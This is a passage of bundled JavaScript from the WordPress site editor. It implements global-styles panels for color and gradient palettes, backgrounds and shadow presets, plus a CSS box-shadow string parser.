  const popoverProps = isMobileViewport ? gradients_palette_panel_mobilePopoverProps : undefined;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "edit-site-global-styles-gradient-palette-panel",
    spacing: 8,
    children: [!!themeGradients && !!themeGradients.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
      canReset: themeGradients !== baseThemeGradients,
      canOnlyChangeValues: true,
      gradients: themeGradients,
      onChange: setThemeGradients,
      paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Theme'),
      paletteLabelHeadingLevel: 3,
      popoverProps: popoverProps
    }), !!defaultGradients && !!defaultGradients.length && !!defaultPaletteEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
      canReset: defaultGradients !== baseDefaultGradients,
      canOnlyChangeValues: true,
      gradients: defaultGradients,
      onChange: setDefaultGradients,
      paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Default'),
      paletteLabelLevel: 3,
      popoverProps: popoverProps
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
      gradients: customGradients,
      onChange: setCustomGradients,
      paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Custom'),
      paletteLabelLevel: 3,
      slugPrefix: "custom-",
      popoverProps: popoverProps
    }), !!duotonePalette && !!duotonePalette.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
        level: 3,
        children: (0,external_wp_i18n_namespaceObject.__)('Duotone')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
        margin: 3
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DuotonePicker, {
        duotonePalette: duotonePalette,
        disableCustomDuotone: true,
        disableCustomColors: true,
        clearable: false,
        onChange: noop
      })]
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-color-palette.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





const {
  Tabs: screen_color_palette_Tabs
} = unlock(external_wp_components_namespaceObject.privateApis);
function ScreenColorPalette({
  name
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Edit palette'),
      description: (0,external_wp_i18n_namespaceObject.__)('The combination of colors used across the site and in color pickers.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(screen_color_palette_Tabs, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(screen_color_palette_Tabs.TabList, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.Tab, {
          tabId: "color",
          children: (0,external_wp_i18n_namespaceObject.__)('Color')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.Tab, {
          tabId: "gradient",
          children: (0,external_wp_i18n_namespaceObject.__)('Gradient')
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.TabPanel, {
        tabId: "color",
        focusable: false,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorPalettePanel, {
          name: name
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.TabPanel, {
        tabId: "gradient",
        focusable: false,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GradientPalettePanel, {
          name: name
        })
      })]
    })]
  });
}
/* harmony default export */ const screen_color_palette = (ScreenColorPalette);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/background-panel.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


// Initial control values where no block style is set.

const BACKGROUND_DEFAULT_VALUES = {
  backgroundSize: 'auto'
};
const {
  useGlobalStyle: background_panel_useGlobalStyle,
  useGlobalSetting: background_panel_useGlobalSetting,
  BackgroundPanel: background_panel_StylesBackgroundPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

/**
 * Checks if there is a current value in the background image block support
 * attributes.
 *
 * @param {Object} style Style attribute.
 * @return {boolean}     Whether the block has a background image value set.
 */
function hasBackgroundImageValue(style) {
  return !!style?.background?.backgroundImage?.id || !!style?.background?.backgroundImage?.url || typeof style?.background?.backgroundImage === 'string';
}
function BackgroundPanel() {
  const [style] = background_panel_useGlobalStyle('', undefined, 'user', {
    shouldDecodeEncode: false
  });
  const [inheritedStyle, setStyle] = background_panel_useGlobalStyle('', undefined, 'all', {
    shouldDecodeEncode: false
  });
  const [settings] = background_panel_useGlobalSetting('');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(background_panel_StylesBackgroundPanel, {
    inheritedValue: inheritedStyle,
    value: style,
    onChange: setStyle,
    settings: settings,
    defaultValues: BACKGROUND_DEFAULT_VALUES
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-background.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */




const {
  useHasBackgroundPanel: screen_background_useHasBackgroundPanel,
  useGlobalSetting: screen_background_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenBackground() {
  const [settings] = screen_background_useGlobalSetting('');
  const hasBackgroundPanel = screen_background_useHasBackgroundPanel(settings);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Background'),
      description: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        children: (0,external_wp_i18n_namespaceObject.__)('Set styles for the site’s background.')
      })
    }), hasBackgroundPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BackgroundPanel, {})]
  });
}
/* harmony default export */ const screen_background = (ScreenBackground);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/confirm-reset-shadow-dialog.js
/**
 * WordPress dependencies
 */



function ConfirmResetShadowDialog({
  text,
  confirmButtonText,
  isOpen,
  toggleOpen,
  onConfirm
}) {
  const handleConfirm = async () => {
    toggleOpen();
    onConfirm();
  };
  const handleCancel = () => {
    toggleOpen();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
    isOpen: isOpen,
    cancelButtonText: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
    confirmButtonText: confirmButtonText,
    onCancel: handleCancel,
    onConfirm: handleConfirm,
    size: "medium",
    children: text
  });
}
/* harmony default export */ const confirm_reset_shadow_dialog = (ConfirmResetShadowDialog);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadows-panel.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */








const {
  useGlobalSetting: shadows_panel_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  Menu: shadows_panel_Menu
} = unlock(external_wp_components_namespaceObject.privateApis);
const defaultShadow = '6px 6px 9px rgba(0, 0, 0, 0.2)';
function ShadowsPanel() {
  const [defaultShadows] = shadows_panel_useGlobalSetting('shadow.presets.default');
  const [defaultShadowsEnabled] = shadows_panel_useGlobalSetting('shadow.defaultPresets');
  const [themeShadows] = shadows_panel_useGlobalSetting('shadow.presets.theme');
  const [customShadows, setCustomShadows] = shadows_panel_useGlobalSetting('shadow.presets.custom');
  const onCreateShadow = shadow => {
    setCustomShadows([...(customShadows || []), shadow]);
  };
  const handleResetShadows = () => {
    setCustomShadows([]);
  };
  const [isResetDialogOpen, setIsResetDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const toggleResetDialog = () => setIsResetDialogOpen(!isResetDialogOpen);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [isResetDialogOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(confirm_reset_shadow_dialog, {
      text: (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to remove all custom shadows?'),
      confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Remove'),
      isOpen: isResetDialogOpen,
      toggleOpen: toggleResetDialog,
      onConfirm: handleResetShadows
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Shadows'),
      description: (0,external_wp_i18n_namespaceObject.__)('Manage and create shadow styles for use across the site.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-global-styles-screen",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        className: "edit-site-global-styles__shadows-panel",
        spacing: 7,
        children: [defaultShadowsEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowList, {
          label: (0,external_wp_i18n_namespaceObject.__)('Default'),
          shadows: defaultShadows || [],
          category: "default"
        }), themeShadows && themeShadows.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowList, {
          label: (0,external_wp_i18n_namespaceObject.__)('Theme'),
          shadows: themeShadows || [],
          category: "theme"
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowList, {
          label: (0,external_wp_i18n_namespaceObject.__)('Custom'),
          shadows: customShadows || [],
          category: "custom",
          canCreate: true,
          onCreate: onCreateShadow,
          onReset: toggleResetDialog
        })]
      })
    })]
  });
}
function ShadowList({
  label,
  shadows,
  category,
  canCreate,
  onCreate,
  onReset
}) {
  const handleAddShadow = () => {
    const newIndex = getNewIndexFromPresets(shadows, 'shadow-');
    onCreate({
      name: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: is an index for a preset */
      (0,external_wp_i18n_namespaceObject.__)('Shadow %s'), newIndex),
      shadow: defaultShadow,
      slug: `shadow-${newIndex}`
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 2,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "space-between",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
        align: "center",
        className: "edit-site-global-styles__shadows-panel__title",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
          level: 3,
          children: label
        })
      }), canCreate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        className: "edit-site-global-styles__shadows-panel__options-container",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          size: "small",
          icon: library_plus,
          label: (0,external_wp_i18n_namespaceObject.__)('Add shadow'),
          onClick: () => {
            handleAddShadow();
          }
        })
      }), !!shadows?.length && category === 'custom' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(shadows_panel_Menu, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.TriggerButton, {
          render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            size: "small",
            icon: more_vertical,
            label: (0,external_wp_i18n_namespaceObject.__)('Shadow options')
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.Popover, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.Item, {
            onClick: onReset,
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.ItemLabel, {
              children: (0,external_wp_i18n_namespaceObject.__)('Remove all custom shadows')
            })
          })
        })]
      })]
    }), shadows.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      isBordered: true,
      isSeparated: true,
      children: shadows.map(shadow => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowItem, {
        shadow: shadow,
        category: category
      }, shadow.slug))
    })]
  });
}
function ShadowItem({
  shadow,
  category
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
    path: `/shadows/edit/${category}/${shadow.slug}`,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: shadow.name
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
      })]
    })
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/reset.js
/**
 * WordPress dependencies
 */


const reset_reset = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M7 11.5h10V13H7z"
  })
});
/* harmony default export */ const library_reset = (reset_reset);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadow-utils.js
const CUSTOM_VALUE_SETTINGS = {
  px: {
    max: 20,
    step: 1
  },
  '%': {
    max: 100,
    step: 1
  },
  vw: {
    max: 100,
    step: 1
  },
  vh: {
    max: 100,
    step: 1
  },
  em: {
    max: 10,
    step: 0.1
  },
  rm: {
    max: 10,
    step: 0.1
  },
  svw: {
    max: 100,
    step: 1
  },
  lvw: {
    max: 100,
    step: 1
  },
  dvw: {
    max: 100,
    step: 1
  },
  svh: {
    max: 100,
    step: 1
  },
  lvh: {
    max: 100,
    step: 1
  },
  dvh: {
    max: 100,
    step: 1
  },
  vi: {
    max: 100,
    step: 1
  },
  svi: {
    max: 100,
    step: 1
  },
  lvi: {
    max: 100,
    step: 1
  },
  dvi: {
    max: 100,
    step: 1
  },
  vb: {
    max: 100,
    step: 1
  },
  svb: {
    max: 100,
    step: 1
  },
  lvb: {
    max: 100,
    step: 1
  },
  dvb: {
    max: 100,
    step: 1
  },
  vmin: {
    max: 100,
    step: 1
  },
  svmin: {
    max: 100,
    step: 1
  },
  lvmin: {
    max: 100,
    step: 1
  },
  dvmin: {
    max: 100,
    step: 1
  },
  vmax: {
    max: 100,
    step: 1
  },
  svmax: {
    max: 100,
    step: 1
  },
  lvmax: {
    max: 100,
    step: 1
  },
  dvmax: {
    max: 100,
    step: 1
  }
};
function getShadowParts(shadow) {
  const shadowValues = shadow.match(/(?:[^,(]|\([^)]*\))+/g) || [];
  return shadowValues.map(value => value.trim());
}
function shadowStringToObject(shadowValue) {
  /*
   * Shadow spec: https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow
   * Shadow string format: <offset-x> <offset-y> <blur-radius> <spread-radius> <color> [inset]
   *
   * A shadow to be valid it must satisfy the following.
   *
   * 1. Should not contain "none" keyword.
   * 2. Values x, y, blur, spread should be in the order. Color and inset can be anywhere in the string except in between x, y, blur, spread values.
   * 3. Should not contain more than one set of x, y, blur, spread values.
   * 4. Should contain at least x and y values. Others are optional.
   * 5. Should not contain more than one "inset" (case insensitive) keyword.
   * 6. Should not contain more than one color value.
   */

  const defaultShadow = {
    x: '0',
    y: '0',
    blur: '0',
    spread: '0',
    color: '#000',
    inset: false
  };
  if (!shadowValue) {
    return defaultShadow;
  }

  // Rule 1: Should not contain "none" keyword.
  // if the shadow has "none" keyword, it is not a valid shadow string
  if (shadowValue.includes('none')) {
    return defaultShadow;
  }

  // Rule 2: Values x, y, blur, spread should be in the order.
  //		   Color and inset can be anywhere in the string except in between x, y, blur, spread values.
  // Extract length values (x, y, blur, spread) from shadow string
  // Regex match groups of 1 to 4 length values.
  const lengthsRegex = /((?:^|\s+)(-?\d*\.?\d+(?:px|%|in|cm|mm|em|rem|ex|pt|pc|vh|vw|vmin|vmax|ch|lh)?)(?=\s|$)(?![^(]*\))){1,4}/g;
  const matches = shadowValue.match(lengthsRegex) || [];

  // Rule 3: Should not contain more than one set of x, y, blur, spread values.
  // if the string doesn't contain exactly 1 set of x, y, blur, spread values,
  // it is not a valid shadow string
  if (matches.length !== 1) {
    return defaultShadow;
  }

  // Extract length values (x, y, blur, spread) from shadow string
  const lengths = matches[0].split(' ').map(value => value.trim()).filter(value => value);

  // Rule 4: Should contain at least x and y values. Others are optional.
  if (lengths.length < 2) {
    return defaultShadow;
  }

  // Rule 5: Should not contain more than one "inset" (case insensitive) keyword.
  // check if the shadow string contains "inset" keyword
  const insets = shadowValue.match(/inset/gi) || [];
  if (insets.length > 1) {
    return defaultShadow;
  }

  // Strip lengths and inset from shadow string, leaving just color.
  const hasInset = insets.length === 1;
  let colorString = shadowValue.replace(lengthsRegex, '').trim();
  if (hasInset) {
    colorString = colorString.replace('inset', '').replace('INSET', '').trim();
  }

  // Rule 6: Should not contain more than one color value.
  // validate color string with regular expression
  // check if color has matching hex, rgb or hsl values
  const colorRegex = /^#([0-9a-f]{3}){1,2}$|^#([0-9a-f]{4}){1,2}$|^(?:rgb|hsl)a?\(?[\d*\.?\d+%?,?\/?\s]*\)$/gi;
  let colorMatches = (colorString.match(colorRegex) || []).map(value => value?.trim()).filter(value => value);

  // If color string has more than one color values, it is not a valid
  if (colorMatches.length > 1) {
    return defaultShadow;
  } else if (colorMatches.length === 0) {
    // check if color string has multiple named color values separated by space
    colorMatches = colorString.trim().split(' ').filter(value => value);
    // If color string has more than one color values, it is not a valid
    if (colorMatches.length > 1) {
      return defaultShadow;
    }
  }

  // Return parsed shadow object.
  const [x, y, blur, spread] = lengths;
  return {
    x,
    y,
    blur: blur || defaultShadow.blur,
    spread: spread || defaultShadow.spread,
    inset: hasInset,
    color: colorString || defaultShadow.color
  };
}
function shadowObjectToString(shadowObj) {
  const shadowString = `${shadowObj.x || '0px'} ${shadowObj.y || '0px'} ${shadowObj.blur || '0px'} ${shadowObj.spread || '0px'}`;
  return `${shadowObj.inset ? 'inset' : ''} ${shadowString} ${shadowObj.color || ''}`.trim();
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadows-edit-panel.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */






const {
  useGlobalSetting: shadows_edit_panel_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  Menu: shadows_edit_panel_Menu
} = unlock(external_wp_components_namespaceObject.privateApis);
const customShadowMenuItems = [{
  label: (0,external_wp_i18n_namespaceObject.__)('Rename'),
  action: 'rename'
}, {
  label: (0,external_wp_i18n_namespaceObject.__)('Delete'),
  action: 'delete'
}];
const presetShadowMenuItems = [{
  label: (0,external_wp_i18n_namespaceObject.__)('Reset'),
  action: 'reset'
}];
function ShadowsEditPanel() {
  const {
    goBack,
    params: {
      category,
      slug
    }
  } = (0,external_wp_components_namespaceObject.useNavigator)();
  const [shadows, setShadows] = shadows_edit_panel_useGlobalSetting(`shadow.presets.${category}`);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const hasCurrentShadow = shadows?.some(shadow => shadow.slug === slug);
    // If the shadow being edited doesn't exist anymore in the global styles setting, navigate back
    // to prevent the user from editing a non-existent shadow entry.
    // This can happen, for example:
    // - when the user deletes the shadow
    // - when the user resets the styles while editing a custom shadow
    //
    // The check on the slug is necessary to prevent a double back navigation when the user triggers
    // a backward navigation by interacting with the screen's UI.
    if (!!slug && !hasCurrentShadow) {
      goBack();
    }
  }, [shadows, slug, goBack]);
  const [baseShadows] = shadows_edit_panel_useGlobalSetting(`shadow.presets.${category}`, undefined, 'base');
  const [selectedShadow, setSelectedShadow] = (0,external_wp_element_namespaceObject.useState)(() => (shadows || []).find(shadow => shadow.slug === slug));
  const baseSelectedShadow = (0,external_wp_element_namespaceObject.useMemo)(() => (baseShadows || []).find(b => b.slug === slug), [baseShadows, slug]);
  const [isConfirmDialogVisible, setIsConfirmDialogVisible] = (0,external_wp_element_namespaceObject.useState)(false);
  const [isRenameModalVisible, setIsRenameModalVisible] = (0,external_wp_element_namespaceObject.useState)(false);
  const [shadowName, setShadowName] = (0,external_wp_element_namespaceObject.useState)(selectedShadow.name);
  if (!category || !slug) {
    return null;
  }
  const onShadowChange = shadow => {
    setSelectedShadow({
      ...selectedShadow,
      shadow
    });
    const updatedShadows = shadows.map(s => s.slug === slug ? {
      ...selectedShadow,
      shadow
    } : s);
    setShadows(updatedShadows);
  };
  const onMenuClick = action => {
    if (action === 'reset') {
      const updatedShadows = shadows.map(s => s.slug === slug ? baseSelectedShadow : s);
      setSelectedShadow(baseSelectedShadow);
      setShadows(updatedShadows);
    } else if (action === 'delete') {
      setIsConfirmDialogVisible(true);
    } else if (action === 'rename') {
      setIsRenameModalVisible(true);
    }
  };
  const handleShadowDelete = () => {
    setShadows(shadows.filter(s => s.slug !== slug));
  };
  const handleShadowRename = newName => {
    if (!newName) {
      return;
    }
    const updatedShadows = shadows.map(s => s.slug === slug ? {
      ...selectedShadow,
      name: newName
    } : s);
    setSelectedShadow({
      ...selectedShadow,
      name: newName
    });
    setShadows(updatedShadows);
  };
  return !selectedShadow ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
    title: ""
  }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "space-between",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
        title: selectedShadow.name
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
          marginTop: 2,
          marginBottom: 0,
          paddingX: 4,
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(shadows_edit_panel_Menu, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.TriggerButton, {
              render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
                size: "small",
                icon: more_vertical,
                label: (0,external_wp_i18n_namespaceObject.__)('Menu')
              })
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.Popover, {
              children: (category === 'custom' ? customShadowMenuItems : presetShadowMenuItems).map(item => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.Item, {
                onClick: () => onMenuClick(item.action),
                disabled: item.action === 'reset' && selectedShadow.shadow === baseSelectedShadow.shadow,
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.ItemLabel, {
                  children: item.label
                })
              }, item.action))
            })]
          })
        })
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "edit-site-global-styles-screen",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsPreview, {
        shadow: selectedShadow.shadow
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowEditor, {
        shadow: selectedShadow.shadow,
        onChange: onShadowChange
      })]
    }), isConfirmDialogVisible && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: true,
      onConfirm: () => {
        handleShadowDelete();
        setIsConfirmDialogVisible(false);
      },
      onCancel: () => {
        setIsConfirmDialogVisible(false);
      },
      confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
      size: "medium",
      children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Name of the shadow preset. */
      (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete "%s" shadow preset?'), selectedShadow.name)
    }), isRenameModalVisible && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
      title: (0,external_wp_i18n_namespaceObject.__)('Rename'),
      onRequestClose: () => setIsRenameModalVisible(false),
      size: "small",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("form", {
        onSubmit: event => {
          event.preventDefault();
          handleShadowRename(shadowName);
          setIsRenameModalVisible(false);
        },
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControl, {
          __next40pxDefaultSize: true,
          autoComplete: "off",
          label: (0,external_wp_i18n_namespaceObject.__)('Name'),
          placeholder: (0,external_wp_i18n_namespaceObject.__)('Shadow name'),
          value: shadowName,
          onChange: value => setShadowName(value)
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
          marginBottom: 6
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
          className: "block-editor-shadow-edit-modal__actions",
          justify: "flex-end",
          expanded: false,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
              __next40pxDefaultSize: true,
              variant: "tertiary",
              onClick: () => setIsRenameModalVisible(false),
              children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
            })
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
              __next40pxDefaultSize: true,
              variant: "primary",
              type: "submit",
              children: (0,external_wp_i18n_namespaceObject.__)('Save')
            })
          })]
        })]
      })
    })]
  });
}
function ShadowsPreview({
  shadow
}) {
  const shadowStyle = {
    boxShadow: shadow
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
    marginBottom: 4,
    marginTop: -2,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
      align: "center",
      justify: "center",
      className: "edit-site-global-styles__shadow-preview-panel",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "edit-site-global-styles__shadow-preview-block",
        style: shadowStyle
      })
    })
  });
}
function ShadowEditor({
  shadow,
  onChange
}) {
  const addShadowButtonRef = (0,external_wp_element_namespaceObject.useRef)();
  const shadowParts = (0,external_wp_element_namespaceObject.useMemo)(() => getShadowParts(shadow), [shadow]);
  const onChangeShadowPart = (index, part) => {
    const newShadowParts = [...shadowParts];
    newShadowParts[index] = part;
    onChange(newShadowParts.join(', '));
  };
  const onAddShadowPart = () => {
    onChange([...shadowParts, defaultShadow].join(', '));
  };
  const onRemoveShadowPart = index => {
    onChange(shadowParts.filter((p, i) => i !== index).join(', '));
    addShadowButtonRef.current.focus();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 2,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "space-between",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
          align: "center",
          className: "edit-site-global-styles__shadows-panel__title",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
            level: 3,
            children: (0,external_wp_i18n_namespaceObject.__)('Shadows')
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
          className: "edit-site-global-styles__shadows-panel__options-container",
